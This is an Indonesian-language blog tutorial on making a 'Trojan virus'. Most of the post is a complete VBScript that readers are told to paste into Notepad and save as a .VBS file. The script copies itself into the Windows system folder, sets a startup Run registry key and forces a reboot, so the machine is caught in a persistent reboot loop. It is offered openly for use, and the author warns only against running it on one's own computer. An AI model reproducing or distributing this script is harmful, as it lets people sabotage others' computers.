Cara Membuat Virus Trojan

Sudah Pernah Saya Memposting Cara Membuat Virus Eh Saya Juga Pernah Posting  , Tapi Kali Ini Dengan Namanya Yaitu Trojan , Apa kamu tau Trojan ? .

Nama Aslinya Trojan Horse , Dan Seperti Komputer Saya Ini Penuh Virus Worm  , Sengaja Biar Jadi Pabrik Virus ckckck , Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho .


1. Buka Notepad | All Program > Notepad
2. Copy Dan Pate Script Berikut Ke Notepad !

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

3.Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh CahlanDetermineD.VBS ,Nyimpennya Harus All Files
4. Jangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh